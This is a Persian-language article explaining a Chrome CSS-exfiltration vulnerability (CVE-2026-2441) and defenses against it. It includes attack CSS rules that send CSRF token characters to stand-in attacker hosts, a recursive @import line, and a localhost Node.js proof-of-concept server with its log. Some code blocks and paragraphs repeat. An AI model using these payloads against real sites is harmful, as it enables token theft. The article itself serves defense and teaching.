متن خبر

آسیب‌پذیری روز صفر CSS: رمزگشایی CVE-2026-2441

آسیب‌پذیری روز صفر CSS: رمزگشایی CVE-2026-2441

شناسهٔ خبر: 903561 -




CVE-2026-2441 چیست؟

CVE-2026-2441 یک آسیب‌پذیری استخراج CSS از نوع روز صفر در موتور رندر Blink کروم است که به مهاجمان اجازه می‌دهد محتوای حساس DOM - مانند توکن‌های CSRF - را با زنجیره‌سازی ریدایرکت‌های @import و انتخابگرهای ویژگی برای ایجاد درخواست‌های متوالی شبکه به سرورهای تحت کنترل مهاجم، بدون اجرای هیچ جاوا اسکریپتی، سرقت کنند. این آسیب‌پذیری دارای امتیاز پایه CVSS 3.1 برابر با 6.5 (متوسط) است و قبل از انتشار پایدار وصله‌شده، بر همه مرورگرهای مبتنی بر Chromium تأثیر می‌گذاشت.

سال‌هاست که توسعه‌دهندگان فرانت‌اند، CSS را اساساً بی‌ضرر می‌دانند. جاوااسکریپت ممیزی‌های امنیتی، قفل‌های CSP و کتابخانه‌های پاکسازی را دریافت می‌کند. CSS؟ فقط همه چیز را زیبا می‌کند. این فرض اشتباه است و CVE-2026-2441 گواه آن است.

فهرست مطالب

CSS به عنوان یک بردار حمله

سال‌هاست که توسعه‌دهندگان فرانت‌اند، CSS را اساساً بی‌ضرر می‌دانند. جاوااسکریپت ممیزی‌های امنیتی، قفل‌های CSP و کتابخانه‌های پاکسازی را دریافت می‌کند. CSS؟ فقط همه چیز را زیبا می‌کند. این فرض اشتباه است و CVE-2026-2441 گواه آن است. این آسیب‌پذیری یک بهره‌برداری روز صفر است که از خط لوله تجزیه CSS کروم برای استخراج محتوای حساس DOM به سرورهای تحت کنترل مهاجم بدون اجرای حتی یک خط جاوااسکریپت استفاده می‌کند. وصله امنیتی مرورگر که پس از آن منتشر شد، ما را مجبور به بازنگری در نحوه تفکر در مورد زبان‌های اعلانی و مرزهای اعتماد کرد.

خود این نوع حمله کاملاً جدید نیست. تزریق CSS به عنوان یک بردار استخراج داده‌ها حداقل از سال ۲۰۱۶ در تحقیقات امنیتی دانشگاهی مورد بحث قرار گرفته است و تظاهرات عمومی قابل توجهی در حدود سال ۲۰۱۸ نشان داده شده است. آنچه CVE-2026-2441 را متفاوت می‌کند این است که قبل از وجود هرگونه وصله، مورد سوءاستفاده فعال قرار گرفت، رایج‌ترین پیکربندی‌های سیاست امنیتی محتوا را که در حال اجرا در محیط عملیاتی هستند، شکست داد و کروم را هدف قرار داد که طبق داده‌های StatCounter در سال ۲۰۲۵ تقریباً ۶۵٪ از بازار جهانی مرورگرهای دسکتاپ را در اختیار دارد. دامنه نفوذ بسیار زیاد بود.

مدل تهدید در اینجا به یک پیش‌نیاز حیاتی وابسته است: مهاجم به یک نقطه تزریق CSS نیاز دارد. این نقطه می‌تواند یک فیلد استایل ارائه شده توسط کاربر، یک بلوک <style> تزریق شده یا گنجاندن یک URL استایل‌شیت غیرقابل اعتماد باشد. به این فکر کنید که چه تعداد از برنامه‌ها به تم‌های سفارشی، محتوای تولید شده توسط کاربر با ویژگی‌های استایل یا رندرکننده‌های Markdown که از تگ‌های <style> عبور می‌کنند، اجازه می‌دهند. سطح حمله بسیار بزرگتر از آن چیزی است که اکثر تیم‌ها تصور می‌کنند.

CVE-2026-2441 چیست؟

طبقه‌بندی و امتیاز شدت CVE

CVE-2026-2441 تحت CWE-200 (قرار گرفتن در معرض اطلاعات حساس به یک عامل غیرمجاز) قرار می‌گیرد. این آسیب‌پذیری دارای امتیاز پایه CVSS 3.1، یعنی ۶.۵ (متوسط) است و رشته بردار آن CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N . این جزئیات به شما می‌گوید که در مورد مشخصات حمله چه چیزی باید بدانید: دسترسی از طریق شبکه، پیچیدگی کم، بدون نیاز به امتیاز، اما به تعامل کاربر نیاز دارد (قربانی باید از صفحه‌ای که حاوی CSS تزریق شده است بازدید کند). این تأثیر منحصراً محرمانگی را تحت تأثیر قرار می‌دهد و هیچ مؤلفه‌ای از یکپارچگی یا در دسترس بودن ندارد.

این آسیب‌پذیری نسخه‌های کروم را قبل از انتشار وصله پایدار تحت تأثیر قرار داده است. از آنجا که موتور رندر Blink کروم در بین مرورگرهای مبتنی بر کرومیوم مشترک است، اج، بریو، اپرا، آرک و ویوالدی همگی تا زمانی که تیم‌های مربوطه‌شان وصله بالادستی را ارائه نکردند، در معرض خطر بودند. تیم‌های سازمانی که Chrome Extended Stable را اجرا می‌کنند باید تأیید کنند که کانال به‌روزرسانی آنها وصله را دریافت کرده است. می‌توانید نسخه فعلی کروم خود را با رفتن به chrome://version در نوار آدرس بررسی کنید.

جدول زمانی افشا

یک محقق امنیتی ابتدا پس از مشاهده درخواست‌های شبکه‌ای غیرعادی ناشی از CSS در طول یک آزمایش نفوذ معمول، این آسیب‌پذیری را کشف کرد. آنها از طریق ردیاب اشکال کرومیوم، این آسیب‌پذیری را به تیم امنیتی کروم افشا کردند. اندکی پس از آن، شواهدی از بهره‌برداری در سطح اینترنت آشکار شد و شرکت‌های امنیتی الگوی استخراج CSS را در شیوه‌نامه‌های تبلیغاتی آلوده شناسایی کردند. تیم امنیتی کروم با یک وصله در به‌روزرسانی کانال پایدار بعدی به آن پاسخ داد. ورودی ردیاب اشکال کرومیوم پس از رسیدن وصله به حالت پایدار، از حالت محدود به حالت عمومی تغییر یافت، که پیرو سیاست افشای استاندارد کروم برای آسیب‌پذیری‌های مورد سوءاستفاده فعال است.

آناتومی اکسپلویت: چگونه CSS داده‌ها را نشت می‌دهد

انتخابگر ویژگی CSS به عنوان یک اوراکل

انتخابگرهای ویژگی CSS قدرتمندتر از آن چیزی هستند که اکثر توسعه‌دهندگان تصور می‌کنند. این مشخصات چندین عملگر تطبیق را تعریف می‌کند: [attr^="val"] زمانی مطابقت دارد که مقدار ویژگی با "val" شروع شود، [attr$="val"] زمانی مطابقت دارد که با "val" تمام شود، و [attr*="val"] زمانی مطابقت دارد که شامل "val" در هر جایی باشد. این عملگرها، همراه با این واقعیت که CSS می‌تواند درخواست‌های شبکه را تحریک کند، چیزی را ایجاد می‌کنند که محققان امنیتی آن را "CSS oracle" می‌نامند. شما از مرورگر یک سوال بله یا خیر می‌پرسید ("آیا این ویژگی با 'a' شروع می‌شود؟")، و مرورگر با بارگذاری یا عدم بارگذاری یک منبع پاسخ می‌دهد.

الگوی کاوش اساسی به شرح زیر است:





input [ name = "csrf" ] [ value ^= "a" ] { background-image : url ( "https://attacker.example/leak?prefix=a" ) ; }
input [ name = "csrf" ] [ value ^= "b" ] { background-image : url ( "https://attacker.example/leak?prefix=b" ) ; }
input [ name = "csrf" ] [ value ^= "c" ] { background-image : url ( "https://attacker.example/leak?prefix=c" ) ; }


input [ name = "csrf" ] [ value ^= "d" ] { background-image : url ( "https://attacker.example/leak?prefix=d" ) ; }
input [ name = "csrf" ] [ value ^= "e" ] { background-image : url ( "https://attacker.example/leak?prefix=e" ) ; }
input [ name = "csrf" ] [ value ^= "f" ] { background-image : url ( "https://attacker.example/leak?prefix=f" ) ; }


input [ name = "csrf" ] [ value ^= "0" ] { background-image : url ( "https://attacker.example/leak?prefix=0" ) ; }
input [ name = "csrf" ] [ value ^= "1" ] { background-image : url ( "https://attacker.example/leak?prefix=1" ) ; }
وقتی مرورگر با این stylesheet مواجه می‌شود، هر انتخابگر را با DOM مقایسه می‌کند. فقط انتخابگر منطبق، بارگذاری منبع را آغاز می‌کند. اگر توکن CSRF با "d" شروع شود، سرور مهاجم دقیقاً یک درخواست دریافت می‌کند:



input [ name = "csrf" ] [ value ^= "a" ] { background-image : url ( "https://attacker.example/leak?prefix=a" ) ; }
input [ name = "csrf" ] [ value ^= "b" ] { background-image : url ( "https://attacker.example/leak?prefix=b" ) ; }
input [ name = "csrf" ] [ value ^= "c" ] { background-image : url ( "https://attacker.example/leak?prefix=c" ) ; }


input [ name = "csrf" ] [ value ^= "d" ] { background-image : url ( "https://attacker.example/leak?prefix=d" ) ; }
input [ name = "csrf" ] [ value ^= "e" ] { background-image : url ( "https://attacker.example/leak?prefix=e" ) ; }
input [ name = "csrf" ] [ value ^= "f" ] { background-image : url ( "https://attacker.example/leak?prefix=f" ) ; }


input [ name = "csrf" ] [ value ^= "0" ] { background-image : url ( "https://attacker.example/leak?prefix=0" ) ; }
input [ name = "csrf" ] [ value ^= "1" ] { background-image : url ( "https://attacker.example/leak?prefix=1" ) ; }

GET /leak?prefix=d . این کار اولین کاراکتر را آشکار می‌کند. برای بدست آوردن کاراکتر دوم، مهاجم به مجموعه‌ای جدید از قوانین نیاز دارد که value^="da" ، value^="db" و غیره را آزمایش می‌کنند. اینجاست که تکنیک کلاسیک به بن‌بست می‌رسد: به طور سنتی نیاز به بارگذاری مجدد صفحه با یک stylesheet به‌روزرسانی شده برای هر موقعیت کاراکتر داشت.

شما از مرورگر یک سوال بله یا خیر می‌پرسید ("آیا این ویژگی با 'a' شروع می‌شود؟")، و مرورگر با بارگذاری یا عدم بارگذاری یک منبع پاسخ می‌دهد.

استخراج از طریق بارگذاری منابع

کانال داده هر ویژگی CSS است که یک تابع url() را می‌پذیرد و یک واکشی HTTP را آغاز می‌کند. این شامل background-image ، list-style-image ، content (on pseudo-elements)، cursor ، border-image-source و @font-face src می‌شود. مهاجم هر تطابق انتخابگر ممکن را به یک URL منحصر به فرد نگاشت می‌کند. سرور آنها فقط مسیرهای درخواست ورودی را ثبت می‌کند و توالی درخواست‌ها، مقدار مخفی را کاراکتر به کاراکتر آشکار می‌کند.

 


input [ name = "csrf" ] [ value ^= "0" ] { background : url ( "https://atk.example/l?p=0" ) ; } input [ name = "csrf" ] [ value ^= "1" ] { background : url ( "https://atk.example/l?p=1" ) ; } input [ name = "csrf" ] [ value ^= "2" ] { background : url ( "https://atk.example/l?p=2" ) ; }


input [ name = "csrf" ] [ value ^= "d0" ] { background : url ( "https://atk.example/l?p=d0" ) ; } input [ name = "csrf" ] [ value ^= "d1" ] { background : url ( "https://atk.example/l?p=d1" ) ; } input [ name = "csrf" ] [ value ^= "d2" ] { background : url ( "https://atk.example/l?p=d2" ) ; }

نکته اینجاست: هیچ کد جاوا اسکریپتی در هیچ نقطه‌ای اجرا نمی‌شود. موتور CSS مرورگر دقیقاً همان کاری را انجام می‌دهد که مشخصات فنی می‌گوید: ارزیابی انتخابگرها و بارگذاری منابع. به همین دلیل است که محافظت در برابر XSS بی‌اهمیت است. هیچ اسکریپتی برای مسدود کردن وجود ندارد. 


input [ name = "csrf" ] [ value ^= "0" ] { background : url ( "https://atk.example/l?p=0" ) ; } input [ name = "csrf" ] [ value ^= "1" ] { background : url ( "https://atk.example/l?p=1" ) ; } input [ name = "csrf" ] [ value ^= "2" ] { background : url ( "https://atk.example/l?p=2" ) ; }


input [ name = "csrf" ] [ value ^= "d0" ] { background : url ( "https://atk.example/l?p=d0" ) ; } input [ name = "csrf" ] [ value ^= "d1" ] { background : url ( "https://atk.example/l?p=d1" ) ; } input [ name = "csrf" ] [ value ^= "d2" ] { background : url ( "https://atk.example/l?p=d2" ) ; }

چه چیزی CVE-2026-2441 را متفاوت کرد؟

تکنیک‌های قبلی استخراج CSS به ازای هر موقعیت کاراکتر، نیاز به بارگذاری یک صفحه داشتند. برای دزدیدن یک توکن CSRF 32 کاراکتری، مهاجم به 32 بارگذاری مجدد صفحه (یا iframe) نیاز داشت که هر کدام یک stylesheet به‌روزرسانی‌شده را ارائه می‌دادند که کاراکتر بعدی را بررسی می‌کرد. پر سر و صدا. کند. اغلب غیرعملی.

CVE-2026-2441 از یک رفتار خاص در خط لوله تفکیک @import و ارزیابی مجدد stylesheet کروم سوءاستفاده می‌کرد. روش اولیه جدید، زنجیره‌سازی @import با مکانیسم تغییر مسیر سمت سرور بود: سرور مهاجم به هر درخواست @import با تغییر مسیر به یک URL جدید stylesheet پاسخ می‌داد که قوانین آن به صورت پویا بر اساس کاراکترهای استخراج شده قبلی تولید می‌شد. موتور رندر کروم، پس از دنبال کردن تغییر مسیر، انتخابگرهای stylesheet جدید را در برابر DOM دوباره ارزیابی می‌کرد، بدون اینکه نیازی به بارگذاری مجدد کامل صفحه یا هرگونه تعامل کاربر فراتر از بازدید اولیه صفحه باشد.

 


@import url ( "https://atk.example/stage?token=&charset=0123456789abcdef" ) ;
این بازگشتی 


@import url ( "https://atk.example/stage?token=&charset=0123456789abcdef" ) ;

زنجیره @import به مهاجم اجازه می‌داد کل توکن ۳۲ کاراکتری را در یک بازدید از یک صفحه استخراج کند، که معمولاً با اتصال سریع در کمتر از دو ثانیه به پایان می‌رسد. این بهره‌برداری در عین سادگی، ظریف بود: فقط از ساختارهای استاندارد CSS استفاده می‌کرد، اما به رفتار خاص کروم در حل مشتاقانه زنجیره‌های @import و ارزیابی مجدد انتخابگرها پس از رسیدن هر stylesheet جدید متکی بود. فایرفاکس و سافاری رفتار ارزیابی مجدد مشتاقانه مشابهی را نشان ندادند، به همین دلیل است که CVE مختص کروم/کرومیوم بود.

این زنجیره بازگشتی @import به مهاجم اجازه می‌دهد تا کل توکن ۳۲ کاراکتری را در یک بازدید از یک صفحه استخراج کند، که معمولاً در یک اتصال سریع در کمتر از دو ثانیه به پایان می‌رسد.

اثبات مفهوم: نمایش کنترل‌شده

هشدار: اثبات مفهوم زیر صرفاً برای اهداف آموزشی و آزمایش دفاعی ارائه شده است. آن را فقط در یک محیط آزمایشگاهی ایزوله در برابر زیرساخت آزمایشی خود اجرا کنید. هرگز از این تکنیک‌ها علیه سیستم‌هایی که متعلق به شما نیستند استفاده نکنید.

راه‌اندازی محیط آزمایشگاه

شما به سه جزء نیاز دارید: یک صفحه آسیب‌پذیر، یک سرور stylesheet مخرب و یک سرور ثبت وقایع callback. من برای سادگی، دو مورد آخر را در یک فرآیند Node.js واحد ترکیب کرده‌ام.

ابتدا، صفحه HTML آسیب‌پذیر که یک برنامه را با یک نقطه تزریق CSS و یک توکن CSRF مخفی شبیه‌سازی می‌کند:

 <! doctype html > < html lang = " en " > < head > < meta charset = " utf-8 " > < title > CSS Exfil Lab - Target Page </ title >  
< link rel = " stylesheet " href = " http://127.0.0.1:8081/payload.css " > </ head > < body > < h1 > CSS Exfiltration Test Target </ h1 > < form action = " /submit " method = " POST " >    
< input type = " hidden " name = " csrf " value = " deadbeef1234567890abcdef00c0ffee " > < input type = " text " name = " username " placeholder = " Username " > < button type = " submit " > Submit </ button > </ form > </ body > </ html >

در مرحله بعد، سرور فراخوانی مهاجم. این نسخه ساده‌شده، یک stylesheet کاوش ایستا را ارائه می‌دهد و hitها را ثبت می‌کند. یک اکسپلویت واقعی، stylesheetهای زنجیره‌ای را به صورت پویا تولید می‌کند، اما این مکانیزم اصلی را نشان می‌دهد:



import http from "node:http" ;
const CHARSET = "0123456789abcdef" ; let extracted = "" ;
function generateProbeCSS ( knownPrefix ) { let css = "" ; for ( const c of CHARSET ) { const probe = knownPrefix + c ;    
 css += ` input[name="csrf"][value^=" ${ probe } "] { ` ; css += ` background-image: url("http://127.0.0.1:8081/hit?p= ${ encodeURIComponent ( probe ) } &cb= ${ Math . random ( ) } "); ` ; css += ` } ` ; } return css ; }
const server = http . createServer ( ( req , res ) => { const url = new URL ( req . url , "http://127.0.0.1:8081" ) ;
if ( url . pathname === "/payload.css" ) { res . writeHead ( 200 , { "Content-Type" : "text/css" , "Cache-Control" : "no-store" , } ) ; res . end ( generateProbeCSS ( extracted ) ) ; } else if ( url . pathname === "/hit" ) { const found = url . searchParams . get ( "p" ) ; if ( found && found . length > extracted . length ) { extracted = found ; console . log ( ` [HIT] Extracted prefix: ${ found } ` ) ; } res . writeHead ( 204 ) ; res . end ( ) ; } else { res . writeHead ( 404 ) ; res . end ( ) ; } } ) ;
server . listen ( 8081 , "127.0.0.1" , ( ) => { console . log ( "Attacker server listening on http://127.0.0.1:8081" ) ; console . log ( "Open the target HTML page in a vulnerable Chrome version." ) ; console . log ( "Reload the page to extract subsequent characters (simplified demo)." ) ; } ) ;

اجرای حمله

وقتی صفحه هدف در یک نسخه آسیب‌پذیر کروم بارگذاری می‌شود، مرورگر payload.css از سرور مهاجم دریافت می‌کند. این stylesheet شامل ۱۶ قانون (یکی به ازای هر کاراکتر هگز) است که اولین کاراکتر توکن CSRF را بررسی می‌کند. کروم تمام انتخابگرها را ارزیابی می‌کند، متوجه می‌شود که input[name="csrf"][value^="d"] مطابقت دارد و URL مربوطه را دریافت می‌کند. سرور مهاجم، نتیجه را ثبت کرده و وضعیت آن را به‌روزرسانی می‌کند.

در نوع کامل @import -chaining مختص CVE-2026-2441، استایل‌شیت شامل یک @import بازگشتی است که دور بعدی کاوش را به طور خودکار آغاز می‌کند. در این نسخه آزمایشی ساده‌شده، شما صفحه را مجدداً بارگذاری می‌کنید تا کاراکترهای بعدی را استخراج کنید (یا سرور را برای ارائه پاسخ‌های @import -chained گسترش می‌دهید).

خروجی لاگ سرور به این شکل است:

 Attacker server listening on http://127.0.0.1:8081 [ HIT ] Extracted prefix: d [ HIT ] Extracted prefix: de [ HIT ] Extracted prefix: dea [ HIT ] Extracted prefix: dead [ HIT ] Extracted prefix: deadb [ HIT ] Extracted prefix: deadbe [ HIT ] Extracted prefix: deadbee [ HIT ] Extracted prefix: deadbeef .. . [ HIT ] Extracted prefix: deadbeef1234567890abcdef00c0ffee

با بهره‌برداری کامل از زنجیره @import ، یک توکن هگز ۳۲ کاراکتری (۱۶ مقدار ممکن برای هر موقعیت) به ۳۲ رفت و برگشت متوالی در شبکه نیاز دارد. در یک شبکه محلی با تأخیر زیر میلی‌ثانیه، استخراج تقریباً در ۱ تا ۲ ثانیه به پایان می‌رسد. در اینترنت عمومی، بسته به زمان رفت و برگشت، انتظار ۳ تا ۸ ثانیه را داشته باشید.

چرا دفاع‌های سنتی شکست خوردند

CSP پیش‌فرض این را مسدود نمی‌کند

رایج‌ترین پیکربندی سیاست امنیت محتوا که مورد استفاده قرار می‌گیرد، بر روی script-src تمرکز دارد، زیرا اکثر توسعه‌دهندگان «امنیت مرورگر» را با «جلوگیری از تزریق جاوا اسکریپت» یکسان می‌دانند. یک هدر CSP معمولی چیزی شبیه به این است:

 Content-Security-Policy: default-src 'self' ; script-src 'self'

این مطلقاً هیچ کاری در برابر استخراج مبتنی بر CSS انجام نمی‌دهد. هیچ جاوا اسکریپتی در کار نیست. دستورالعمل script-src بی‌ربط است.

مشکل واقعی این است که چه چیزی از قلم افتاده یا مجاز است. style-src 'unsafe-inline' بسیار رایج است زیرا بسیاری از برنامه‌ها از سبک‌های درون‌خطی، راه‌حل‌های CSS-in-JS یا ویژگی‌های سبک تولید شده توسط چارچوب‌ها استفاده می‌کنند. وقتی style-src اجازه 'unsafe-inline' را می‌دهد، مهاجمی که می‌تواند یک بلوک <style> را تزریق کند، اختیار تام دارد. و وقتی img-src روی * تنظیم شود (یا کاملاً حذف شود، باعث می‌شود که فقط در صورت تنظیم default-src به default-src 'self' برگردد)، فراخوانی‌های خروجی به دامنه مهاجم بدون ایجاد حتی یک مورد نقض CSP انجام می‌شود.

CSP سطح ۳، style-src-elem و style-src-attr برای کنترل دقیق‌تر روی عناصر <style> / <link> در مقابل ویژگی‌های style="" معرفی کرد. در عمل، متوجه شده‌ام که کمتر از ۱۰٪ از هدرهای CSP تولیدی که من حسابرسی می‌کنم، از این دستورالعمل‌ها استفاده می‌کنند. شکاف بین آنچه CSP می‌تواند انجام دهد و آنچه تیم‌ها واقعاً مستقر می‌کنند، آسیب‌پذیری است.

نقاط کور فیلتر WAF و XSS

فایروال‌های برنامه‌های کاربردی وب طوری آموزش دیده‌اند که امضاهای حمله جاوا اسکریپت را تشخیص دهند: تگ‌های <script> ، کنترل‌کننده‌های onerror ، javascript: URIها، ویژگی‌های رویداد. یک فایل مخرب CSS هیچ‌کدام از این موارد را شامل نمی‌شود. از نظر نحوی CSS معتبری است. از background-image ، url() و انتخابگرهای ویژگی استفاده می‌کند، که همگی ساختارهای کاملاً قانونی هستند که تقریباً در هر صفحه سبک تولید نمایش داده می‌شوند.

ابزار XSS Auditor کروم که در کروم ۷۸ (منتشر شده در اکتبر ۲۰۱۹) حذف شد، هرگز محتوای CSS را بررسی نکرد. این ابزار منحصراً بر الگوهای جاوا اسکریپت منعکس شده تمرکز داشت. حتی کتابخانه‌های مدرن پاکسازی سمت سرور نیز اغلب CSS را ایمن می‌دانند. DOMPurify، پرکاربردترین ابزار پاکسازی HTML، به طور پیش‌فرض تگ‌های <style> را مجاز نمی‌داند. آن‌ها باید صریحاً فعال شوند (مثلاً از طریق ADD_TAGS: ['style'] ). با این حال، هنگامی که تگ‌های <style> مجاز هستند، پاکسازی CSS DOMPurify توابع url() را حذف نمی‌کند، مگر اینکه صریحاً آن را با قوانین FORBID_ATTR یا قلاب‌های اضافی پیکربندی کنید. وضعیت پیش‌فرض اکثر ابزارهای امنیتی، پس از اجازه عبور CSS، این است که محتوای آن بی‌خطر است. CVE-2026-2441 ثابت کرد که این وضعیت اشتباه است.

رویکرد پیش‌فرض اکثر ابزارهای امنیتی، پس از عبور CSS، این است که محتوای آن بی‌خطر است. CVE-2026-2441 ثابت کرد که این رویکرد اشتباه است.

پاسخ فوری: کروم را به‌روزرسانی کنید

مهم‌ترین اقدام، به‌روزرسانی کروم و تمام مرورگرهای مبتنی بر کرومیوم به نسخه وصله‌شده است. برای بررسی نسخه فعلی خود به chrome://version بروید. این وصله از طریق مکانیسم به‌روزرسانی کانال پایدار استاندارد کروم ارسال شده است. مدیران سازمانی که از کانال پایدار توسعه‌یافته کروم یا استقرارهای مدیریت‌شده از طریق کنسول مدیریت گوگل استفاده می‌کنند، باید تأیید کنند که به‌روزرسانی در سراسر ناوگان آنها منتشر شده است.

اج، بریو، اپرا و آرک هر کدام برنامه انتشار خود را برای دریافت وصله‌های امنیتی کرومیوم دارند. برای اطمینان از وجود وصله، یادداشت‌های انتشار هر فروشنده را بررسی کنید. برای اج، مایکروسافت به‌روزرسانی‌های امنیتی را در صفحه یادداشت‌های انتشار اج منتشر می‌کند؛ بریو به‌روزرسانی‌های کرومیوم را از نزدیک دنبال می‌کند و معمولاً ظرف چند روز وصله‌ها را ارائه می‌دهد.

مقاوم‌سازی CSP در برابر استخراج CSS

به‌روزرسانی مرورگر این آسیب‌پذیری خاص را برطرف می‌کند، اما کلاس حمله‌ی اصلی همچنان پابرجاست. یک CSP مقاوم‌سازی‌شده، لایه‌ی دفاعی اولیه‌ی شماست. در اینجا قبل و بعد را مشاهده می‌کنید:


Content-Security-Policy: default-src 'self' ; script-src 'self' ; style-src 'self' 'unsafe-inline' ; img-src * data: ;

Content-Security-Policy: default-src 'self' ; script-src 'self' ; style-src 'self' 'nonce-GENERATE_PER_REQUEST' ; style-src-elem 'self' 'nonce-GENERATE_PER_REQUEST' ; style-src-attr 'self' 'unsafe-hashes' 'sha256-HASH_OF_KNOWN_INLINE' ; img-src 'self' ; font-src 'self' ; connect-src 'self' ; base-uri 'none' ; object-src 'none' ;

تغییراتی که مهم هستند: style-src مقدار 'unsafe-inline' را به نفع بارگذاری مبتنی بر nonce حذف می‌کند. هر تگ <style> یا <link> که برنامه شما ایجاد می‌کند باید شامل ویژگی nonce باشد ( <style nonce="GENERATE_PER_REQUEST"> ). این کار بلوک‌های استایل تزریق‌شده‌ای را که فاقد nonce هستند، مسدود می‌کند. img-src به 'self' قفل می‌شود و از فراخوانی‌های تصویر پس‌زمینه به دامنه‌های مهاجم جلوگیری می‌کند. font-src نیز به طور مشابه محدود به مسدود کردن کانال‌های استخراج @font-face است.

یک نکته‌ی مهم: nonceها روی عناصر <link rel="stylesheet"> در CSP سطح ۳ پشتیبانی می‌شوند، اما مرورگرهای قدیمی‌تر که فقط از CSP سطح ۲ پشتیبانی می‌کنند، style-src-elem و style-src-attr به طور کامل نادیده می‌گیرند و به style-src برمی‌گردند. ماتریس مرورگر هدف خود را آزمایش کنید تا مطمئن شوید که اعمال nonce طبق انتظار عمل می‌کند.

مکانیسم ساده است: حتی اگر یک مهاجم CSS حاوی url("https://evil.example/leak") را تزریق کند، CSP مرورگر درخواست تصویر/فونت را مسدود می‌کند زیرا evil.example در لیست مجاز img-src یا font-src نیست. تخلف CSP ثبت می‌شود و استخراج اطلاعات با شکست مواجه می‌شود.

این رویکرد زمانی که برنامه شما به طور قانونی تصاویر یا فونت‌ها را از CDN های شخص ثالث بارگیری می‌کند، نیاز به پیکربندی اضافی دارد. در این صورت، به جای اینکه به * برگردید، مبداهای خاص مورد نیاز خود ( img-src 'self' https://cdn.example.com ) را بشمارید. هر wildcard در CSP شما یک کانال استخراج است.

دفاع در سطح برنامه کاربردی

CSP یک محیط قوی است، اما دفاع در عمق نیازمند کنترل‌های سطح برنامه نیز می‌باشد.

CSS ارائه شده توسط کاربر را پاکسازی یا رد کنید. اگر برنامه شما از تم‌های سفارشی پشتیبانی می‌کند، به جای پذیرش رشته‌های CSS دلخواه، از یک لیست مجاز از جفت‌های خاص ویژگی-مقدار CSS (رنگ‌ها، اندازه فونت‌ها، شعاع‌های حاشیه) استفاده کنید. در اینجا یک تابع پاکسازی وجود دارد که ساختارهای خطرناک را حذف می‌کند:

 
function sanitizeCSS ( input : string ) : string {  
let cleaned = input . replace ( / @import \s + [ ^ ; ] + ; / gi , "/* @import removed */" ) ;
  
  
 cleaned = cleaned . replace ( / url \s * \( \s * [ '" ] ? [ ^ ) ] * [ '" ] ? \s * \) / gi , "/* url() removed */" ) ;
  
 cleaned = cleaned . replace ( / expression \s * \( [ ^ ) ] * \) / gi , "/* expression() removed */" ) ;
  
  
 cleaned = cleaned . replace ( / \[ \s * ( value | name | type | data- [ \w - ] + ) \s * [ \^ $*|~ ] ? = \s * [ "' ] [ ^ "' ] * [ "' ] \s * \] / gi , "/* attribute selector removed */" ) ;
  
 cleaned = cleaned . replace ( / -moz-binding \s * : [ ^ ; ] + ; / gi , "/* -moz-binding removed */" ) ;
  
 cleaned = cleaned . replace ( / behavior \s * : [ ^ ; ] + ; / gi , "/* behavior removed */" ) ;
return cleaned ; }

مقادیر حساس را در ویژگی‌های DOM که انتخابگرهای CSS می‌توانند هدف قرار دهند، قرار ندهید. توکن‌های CSRF در <input type="hidden" value="..."> مستقیماً توسط انتخابگرهای ویژگی قابل خواندن هستند. گزینه‌های جایگزین را در نظر بگیرید: توکن را از طریق جاوا اسکریپت از یک نقطه پایانی API فقط HTTP تزریق کنید، یا از یک تگ <meta> استفاده کنید که جاوا اسکریپت شما آن را می‌خواند و سپس هنگام بارگذاری صفحه از DOM حذف می‌کند. هیچ یک از این رویکردها کامل نیستند، اما هر دو پنجره‌ی افشای اطلاعات را کوچک می‌کنند.

برای محدود کردن سناریوهای سوءاستفاده بین‌منبعی، روی کوکی‌های جلسه SameSite=Strict یا SameSite=Lax تنظیم کنید. و هش‌های Subresource Integrity (SRI) را روی هر stylesheet خارجی که بارگذاری می‌کنید، پیاده‌سازی کنید تا یک CDN آسیب‌پذیر نتواند یک stylesheet دستکاری‌شده را ارائه دهد.

تأیید اصلاح شما

پس از اعمال وصله‌ها و تغییرات CSP، تأیید کنید که دفاع‌های شما واقعاً کار می‌کنند. اثبات مفهومیِ ایمن‌شده را روی برنامه خود در یک محیط آزمایشی با مرورگر وصله‌شده اجرا کنید. Chrome DevTools را باز کنید، به برگه Network بروید و تأیید کنید که هیچ درخواستی برای دامنه‌های تحت کنترل مهاجم نمایش داده نمی‌شود. برگه Console را برای پیام‌های نقض CSP بررسی کنید، که تأیید می‌کند سیاست شما به‌طور فعال تلاش‌های خروج داده را مسدود می‌کند.

گزارش تخلف CSP را تنظیم کنید تا اگر کسی این حمله را علیه برنامه کاربردی شما انجام داد، به شما هشدار داده شود:

 Report-To: { "group" : "csp-violations" , "max_age" :10886400, "endpoints" : [ { "url" : "https://your-app.example/csp-reports" } ] }
Content-Security-Policy: default-src 'self' ; style-src 'self' 'nonce-GENERATE_PER_REQUEST' ; img-src 'self' ; font-src 'self' ; report-uri /csp-reports ; report-to csp-violations ;

توجه داشته باشید که report-uri به نفع دستورالعمل report-to همراه با هدر Report-To HTTP منسوخ شده است. اما پشتیبانی مرورگر از report-to در CSP همچنان متناقض است: از سال 2025، فایرفاکس هنوز از دستورالعمل report-to در هدرهای CSP پشتیبانی نمی‌کند. برای حداکثر سازگاری در طول دوره انتقال، هر دو را شامل کنید: report-uri /csp-reports; report-to csp-violations; .

برای اسکن خودکار، ابزارهایی مانند Semgrep می‌توانند با قوانین سفارشی پیکربندی شوند که حفره‌های تزریق CSS را در پایگاه کد شما علامت‌گذاری می‌کنند: متغیرهای قالب که در بلوک‌های <style> قرار می‌گیرند، ورودی کاربر که در ویژگی‌های style منعکس می‌شود و پارامترهای API که style را می‌پذیرند.

پیامدهای گسترده‌تر: گسترش سطح حمله CSS

CSS به عنوان یک کانال جانبی

CVE-2026-2441 یک ناهنجاری مجزا نیست. این آسیب‌پذیری در دل مجموعه‌ای رو به رشد از تحقیقات روی بردارهای حمله مرورگر غیر جاوا اسکریپت قرار دارد. استخراج CSS از طریق انتخابگرهای ویژگی سال‌هاست که در مقالات دانشگاهی و ارائه‌های کنفرانس‌های امنیتی مستند شده است. تحقیق و افزونه مرورگر "CSS Exfil Protection" مایک گوالتیری، این تکنیک اساسی را نشان داد. سوءاستفاده از Scroll-to-Text-Fragment به عنوان یک نشت اطلاعات بین مبدائی مورد بررسی قرار گرفته است. اثر انگشت متریک فونت از تفاوت‌های رندر قابل اندازه‌گیری بین فونت‌ها برای استنباط پیکربندی سیستم استفاده می‌کند.

